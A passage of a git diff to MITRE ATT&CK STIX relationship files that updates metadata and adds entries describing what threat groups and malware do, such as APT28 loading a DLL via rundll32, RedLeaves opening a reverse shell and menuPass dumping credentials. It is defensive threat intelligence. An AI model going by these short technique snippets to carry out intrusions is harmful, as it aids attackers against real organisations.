+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Malware used by Group5 is capable of watching the victim's screen.",
             "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
diff --git a/enterprise-attack/relationship/relationship--8e7ff07b-7a32-4ced-ac22-b523586dbde3.json b/enterprise-attack/relationship/relationship--8e7ff07b-7a32-4ced-ac22-b523586dbde3.json
index 80ced2db69..b08a5f0777 100644
--- a/enterprise-attack/relationship/relationship--8e7ff07b-7a32-4ced-ac22-b523586dbde3.json
+++ b/enterprise-attack/relationship/relationship--8e7ff07b-7a32-4ced-ac22-b523586dbde3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5bfdc58a-1e8a-4704-bec7-47e22192dfe3",
+    "id": "bundle--24f26619-eab3-4db8-929e-73011a889619",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8e7ff07b-7a32-4ced-ac22-b523586dbde3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec has a package that collects documents from any inserted USB sticks.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--8e82a523-fc73-4f3b-98dc-3b1e7199cd93.json b/enterprise-attack/relationship/relationship--8e82a523-fc73-4f3b-98dc-3b1e7199cd93.json
index 3b66bd1430..b86ac40980 100644
--- a/enterprise-attack/relationship/relationship--8e82a523-fc73-4f3b-98dc-3b1e7199cd93.json
+++ b/enterprise-attack/relationship/relationship--8e82a523-fc73-4f3b-98dc-3b1e7199cd93.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8be2410b-50b9-4ad3-8446-e4d27cade26c",
+    "id": "bundle--0d4c7fbf-ddfa-4244-83ca-0ff227b204b3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8e82a523-fc73-4f3b-98dc-3b1e7199cd93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OLDBAIT obfuscates internal strings and unpacks them at startup.",
             "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
diff --git a/enterprise-attack/relationship/relationship--8ebab956-4440-4fd7-96ff-8da29e0f0b46.json b/enterprise-attack/relationship/relationship--8ebab956-4440-4fd7-96ff-8da29e0f0b46.json
index 0b012873b5..471d94ece0 100644
--- a/enterprise-attack/relationship/relationship--8ebab956-4440-4fd7-96ff-8da29e0f0b46.json
+++ b/enterprise-attack/relationship/relationship--8ebab956-4440-4fd7-96ff-8da29e0f0b46.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5b2e41a4-f5a5-42db-9aea-634f70968df1",
+    "id": "bundle--39781b35-97b0-4bf7-836b-189f548baf7a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8ebab956-4440-4fd7-96ff-8da29e0f0b46",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware gathers the registered user and primary owner name via WMI.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
diff --git a/enterprise-attack/relationship/relationship--8edb0383-cae8-43ee-9241-b25e5068cc95.json b/enterprise-attack/relationship/relationship--8edb0383-cae8-43ee-9241-b25e5068cc95.json
new file mode 100644
index 0000000000..189f9d9851
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--8edb0383-cae8-43ee-9241-b25e5068cc95.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--74390f77-5b98-489b-bbf5-55489f1b8da3",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--8edb0383-cae8-43ee-9241-b25e5068cc95",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used <code>netstat -an</code> on a victim to get a listing of network connections.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--8ef27cd6-3909-4174-b57c-3dbe3061a6dd.json b/enterprise-attack/relationship/relationship--8ef27cd6-3909-4174-b57c-3dbe3061a6dd.json
index 85326b2b27..a154c93009 100644
--- a/enterprise-attack/relationship/relationship--8ef27cd6-3909-4174-b57c-3dbe3061a6dd.json
+++ b/enterprise-attack/relationship/relationship--8ef27cd6-3909-4174-b57c-3dbe3061a6dd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b054e4bd-01e8-4cdc-a8cb-708dc70f5896",
+    "id": "bundle--25dfbe73-dbd5-4870-855c-8799ca0c02a9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8ef27cd6-3909-4174-b57c-3dbe3061a6dd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke has a command to download a file.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
diff --git a/enterprise-attack/relationship/relationship--8f269f6c-9e8b-4296-ab47-2f60c9156b58.json b/enterprise-attack/relationship/relationship--8f269f6c-9e8b-4296-ab47-2f60c9156b58.json
index df40c1e8b3..824e4ea723 100644
--- a/enterprise-attack/relationship/relationship--8f269f6c-9e8b-4296-ab47-2f60c9156b58.json
+++ b/enterprise-attack/relationship/relationship--8f269f6c-9e8b-4296-ab47-2f60c9156b58.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--74b54a3c-8da2-4395-8192-8fad11af3ef8",
+    "id": "bundle--abf66bcd-529a-4515-97e4-93a746807480",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8f269f6c-9e8b-4296-ab47-2f60c9156b58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.038Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 executed CHOPSTICK by using rundll32 commands such as <code>rundll32.exe \u201cC:\\Windows\\twain_64.dll\u201d</code>.APT28 also executed a .dll for a first stage dropper using rundll32.exe.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--8f6701a2-91cc-449e-98e1-e83bd2f7317c.json b/enterprise-attack/relationship/relationship--8f6701a2-91cc-449e-98e1-e83bd2f7317c.json
new file mode 100644
index 0000000000..4e95de354b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--8f6701a2-91cc-449e-98e1-e83bd2f7317c.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--196a96db-9e6e-4d85-8a45-0063d292de74",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--8f6701a2-91cc-449e-98e1-e83bd2f7317c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 will identify Microsoft Office documents on the victim's computer. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+            "external_references": [
+                {
+                    "source_name": "aptsim",
+                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
+                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--8f897f1c-7bc6-4a85-8d3b-627f976af215.json b/enterprise-attack/relationship/relationship--8f897f1c-7bc6-4a85-8d3b-627f976af215.json
new file mode 100644
index 0000000000..61a792a7e4
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--8f897f1c-7bc6-4a85-8d3b-627f976af215.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--b532beb5-dc0e-46d4-b8df-8137380dafc3",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--8f897f1c-7bc6-4a85-8d3b-627f976af215",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used various tools to perform credential dumping.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--8ff745b7-9985-4781-a8bc-dae6d71233d3.json b/enterprise-attack/relationship/relationship--8ff745b7-9985-4781-a8bc-dae6d71233d3.json
index e8d8835251..d5d119992e 100644
--- a/enterprise-attack/relationship/relationship--8ff745b7-9985-4781-a8bc-dae6d71233d3.json
+++ b/enterprise-attack/relationship/relationship--8ff745b7-9985-4781-a8bc-dae6d71233d3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6ea63d31-1173-4ea1-ab30-807094709622",
+    "id": "bundle--78cbc55d-049e-4601-a1fe-fdb4fc468969",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8ff745b7-9985-4781-a8bc-dae6d71233d3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.029Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--34efb2fd-4dc2-40d4-a564-0c147c85034d",
             "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
diff --git a/enterprise-attack/relationship/relationship--90347c97-c0c5-4407-9087-b917d0789b0e.json b/enterprise-attack/relationship/relationship--90347c97-c0c5-4407-9087-b917d0789b0e.json
index b7d9180595..3a76cbe6a4 100644
--- a/enterprise-attack/relationship/relationship--90347c97-c0c5-4407-9087-b917d0789b0e.json
+++ b/enterprise-attack/relationship/relationship--90347c97-c0c5-4407-9087-b917d0789b0e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e47e7a1f-fab0-407b-a1d2-c4efe74bbcb5",
+    "id": "bundle--646ad043-0154-4438-aaae-de54b87e36ac",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--90347c97-c0c5-4407-9087-b917d0789b0e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TinyZBot can install as a Windows service for persistence.",
             "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
diff --git a/enterprise-attack/relationship/relationship--9064fd2e-4e0a-44e4-8bde-6e6c4cf8495f.json b/enterprise-attack/relationship/relationship--9064fd2e-4e0a-44e4-8bde-6e6c4cf8495f.json
index d375953e2f..48387c2c3b 100644
--- a/enterprise-attack/relationship/relationship--9064fd2e-4e0a-44e4-8bde-6e6c4cf8495f.json
+++ b/enterprise-attack/relationship/relationship--9064fd2e-4e0a-44e4-8bde-6e6c4cf8495f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ccbb4596-900e-4825-a1af-7faf6fd90de0",
+    "id": "bundle--69627015-cc05-431d-8489-16db065538cf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9064fd2e-4e0a-44e4-8bde-6e6c4cf8495f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--61d02387-351a-453e-a575-160a9abc3e04",
             "target_ref": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300",
diff --git a/enterprise-attack/relationship/relationship--9066dcee-7c80-429c-a5cc-77458e891349.json b/enterprise-attack/relationship/relationship--9066dcee-7c80-429c-a5cc-77458e891349.json
index e3598b59ff..820e31a07b 100644
--- a/enterprise-attack/relationship/relationship--9066dcee-7c80-429c-a5cc-77458e891349.json
+++ b/enterprise-attack/relationship/relationship--9066dcee-7c80-429c-a5cc-77458e891349.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c3fa3cab-0e70-4666-b98d-0a67eefbf1ca",
+    "id": "bundle--dffcbe26-51fa-408b-a6a9-ea6c9875444c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9066dcee-7c80-429c-a5cc-77458e891349",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used a modified version of pentesting tools wmiexec.vbs and secretsdump.py to dump credentials.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--907df22e-fdfe-4b93-8b18-ebf66f83868c.json b/enterprise-attack/relationship/relationship--907df22e-fdfe-4b93-8b18-ebf66f83868c.json
index 91011b111d..14a64acd8a 100644
--- a/enterprise-attack/relationship/relationship--907df22e-fdfe-4b93-8b18-ebf66f83868c.json
+++ b/enterprise-attack/relationship/relationship--907df22e-fdfe-4b93-8b18-ebf66f83868c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c309b8d7-d35f-4be3-a2f4-d5f669674467",
+    "id": "bundle--73d21645-3d08-4716-bc17-7aa3bac31e6e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--907df22e-fdfe-4b93-8b18-ebf66f83868c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type may create the file <code>%HOMEPATH%\\Start Menu\\Programs\\Startup\\Realtek {Unique Identifier}.lnk</code>, which points to the malicious msdtc.exe file already created in the %CommonFiles% directory.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
diff --git a/enterprise-attack/relationship/relationship--90e64a7a-42e6-4b95-ae85-5ac324d7f6e2.json b/enterprise-attack/relationship/relationship--90e64a7a-42e6-4b95-ae85-5ac324d7f6e2.json
new file mode 100644
index 0000000000..e8e9567099
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--90e64a7a-42e6-4b95-ae85-5ac324d7f6e2.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--2516e50d-9751-4d89-a454-a78072d190ad",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--90e64a7a-42e6-4b95-ae85-5ac324d7f6e2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel.",
+            "source_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4",
+            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--9155d072-d94b-4a63-b089-26781aff5275.json b/enterprise-attack/relationship/relationship--9155d072-d94b-4a63-b089-26781aff5275.json
index 9b861a454a..2321fb142c 100644
--- a/enterprise-attack/relationship/relationship--9155d072-d94b-4a63-b089-26781aff5275.json
+++ b/enterprise-attack/relationship/relationship--9155d072-d94b-4a63-b089-26781aff5275.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--973a4100-4bdc-48a4-a65b-d81f6c6621cf",
+    "id": "bundle--da022d75-0829-4cf7-80fd-2c16e58e43e6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9155d072-d94b-4a63-b089-26781aff5275",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
             "target_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
diff --git a/enterprise-attack/relationship/relationship--918956f2-db79-4721-8741-3b461a280e51.json b/enterprise-attack/relationship/relationship--918956f2-db79-4721-8741-3b461a280e51.json
index 5b9fd92ead..df283ecf0f 100644
--- a/enterprise-attack/relationship/relationship--918956f2-db79-4721-8741-3b461a280e51.json
+++ b/enterprise-attack/relationship/relationship--918956f2-db79-4721-8741-3b461a280e51.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bcb715f9-49a7-4d7c-b0cb-217a513427ca",
+    "id": "bundle--14cea275-cb4d-4b21-98e0-6b2b1a8a8d11",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--918956f2-db79-4721-8741-3b461a280e51",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--77fd4d73-6b79-4593-82e7-e4a439cc7604",
             "target_ref": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb",
diff --git a/enterprise-attack/relationship/relationship--9194756f-c455-427b-9fb0-4887c7bf3bf3.json b/enterprise-attack/relationship/relationship--9194756f-c455-427b-9fb0-4887c7bf3bf3.json
index 814041874f..5c1da73b42 100644
--- a/enterprise-attack/relationship/relationship--9194756f-c455-427b-9fb0-4887c7bf3bf3.json
+++ b/enterprise-attack/relationship/relationship--9194756f-c455-427b-9fb0-4887c7bf3bf3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2ebded8d-1688-4b6f-922f-f58d8b4d510b",
+    "id": "bundle--53c1cef9-10ca-4535-b107-a40a0db32a02",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9194756f-c455-427b-9fb0-4887c7bf3bf3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can receive and execute commands with cmd.exe. It can also provide a reverse shell.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--91af9744-413c-4e9c-bfdb-a9ca167e9bb5.json b/enterprise-attack/relationship/relationship--91af9744-413c-4e9c-bfdb-a9ca167e9bb5.json
index ba6dbacfbd..e2a91b01c5 100644
--- a/enterprise-attack/relationship/relationship--91af9744-413c-4e9c-bfdb-a9ca167e9bb5.json
+++ b/enterprise-attack/relationship/relationship--91af9744-413c-4e9c-bfdb-a9ca167e9bb5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a23fd19c-addc-4027-a538-592bdf6e593d",
+    "id": "bundle--076e7fc8-df14-46d8-ab22-cc88e2ba12e5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--91af9744-413c-4e9c-bfdb-a9ca167e9bb5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.028Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--4689b9fb-dca4-473e-831b-34717ad50c97",
             "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
diff --git a/enterprise-attack/relationship/relationship--91ca1017-0b33-4fa1-a61f-b3dae24c7e40.json b/enterprise-attack/relationship/relationship--91ca1017-0b33-4fa1-a61f-b3dae24c7e40.json
new file mode 100644
index 0000000000..2213e21f54
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--91ca1017-0b33-4fa1-a61f-b3dae24c7e40.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--dcd86964-a63e-4782-a5a1-a091d6c54b04",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--91ca1017-0b33-4fa1-a61f-b3dae24c7e40",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses services.exe to register a new autostart service named \"Audit Service\" using a copy of the local lsass.exe file.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392",
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                },
+                {
+                    "source_name": "Microsoft Wingbird Nov 2017",
+                    "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.",
+                    "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--91d4c776-c259-46b0-b511-b344ca027009.json b/enterprise-attack/relationship/relationship--91d4c776-c259-46b0-b511-b344ca027009.json
index 877fd99de9..feeff8cb97 100644
--- a/enterprise-attack/relationship/relationship--91d4c776-c259-46b0-b511-b344ca027009.json
+++ b/enterprise-attack/relationship/relationship--91d4c776-c259-46b0-b511-b344ca027009.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1f6c04b1-4fca-472d-a512-231146b927c6",
+    "id": "bundle--e74b40dd-53c8-4368-b38b-8753127ccd90",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--91d4c776-c259-46b0-b511-b344ca027009",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The payload of CozyCar is encrypted with simple XOR with a rotating key. The CozyCar configuration file has been encrypted with RC4 keys.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
diff --git a/enterprise-attack/relationship/relationship--9213f7ac-c548-4139-950b-5481a94570f9.json b/enterprise-attack/relationship/relationship--9213f7ac-c548-4139-950b-5481a94570f9.json
index 4d58eedb15..1621935626 100644
--- a/enterprise-attack/relationship/relationship--9213f7ac-c548-4139-950b-5481a94570f9.json
+++ b/enterprise-attack/relationship/relationship--9213f7ac-c548-4139-950b-5481a94570f9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5c5fc217-a29a-41be-b357-01cb5379f33c",
+    "id": "bundle--d087a3f2-60bb-4887-9107-d7cc89dfcb93",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9213f7ac-c548-4139-950b-5481a94570f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.023Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8b36d944-f274-4d46-9acd-dbba6927ce7a",
             "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
diff --git a/enterprise-attack/relationship/relationship--922c214d-ad32-4490-bb3f-a4db73b718d5.json b/enterprise-attack/relationship/relationship--922c214d-ad32-4490-bb3f-a4db73b718d5.json
index 6a6e9007a9..e05cf77332 100644
--- a/enterprise-attack/relationship/relationship--922c214d-ad32-4490-bb3f-a4db73b718d5.json
+++ b/enterprise-attack/relationship/relationship--922c214d-ad32-4490-bb3f-a4db73b718d5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--60813dc8-2ba6-4148-9d68-7d2aa6ec42cc",
+    "id": "bundle--35e5d3cf-d4c5-4fe3-8b39-d7c2d0f50c7f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--922c214d-ad32-4490-bb3f-a4db73b718d5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Psylo has commands to enumerate all storage devices and to find all files that start with a particular string.",
             "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
diff --git a/enterprise-attack/relationship/relationship--9253e8b3-9fbb-4149-a2e4-60d36c006ba6.json b/enterprise-attack/relationship/relationship--9253e8b3-9fbb-4149-a2e4-60d36c006ba6.json
index ed5c3835ff..7d59df9356 100644
--- a/enterprise-attack/relationship/relationship--9253e8b3-9fbb-4149-a2e4-60d36c006ba6.json
+++ b/enterprise-attack/relationship/relationship--9253e8b3-9fbb-4149-a2e4-60d36c006ba6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--718187a8-5055-49e3-9d64-4e27fda0d0fc",
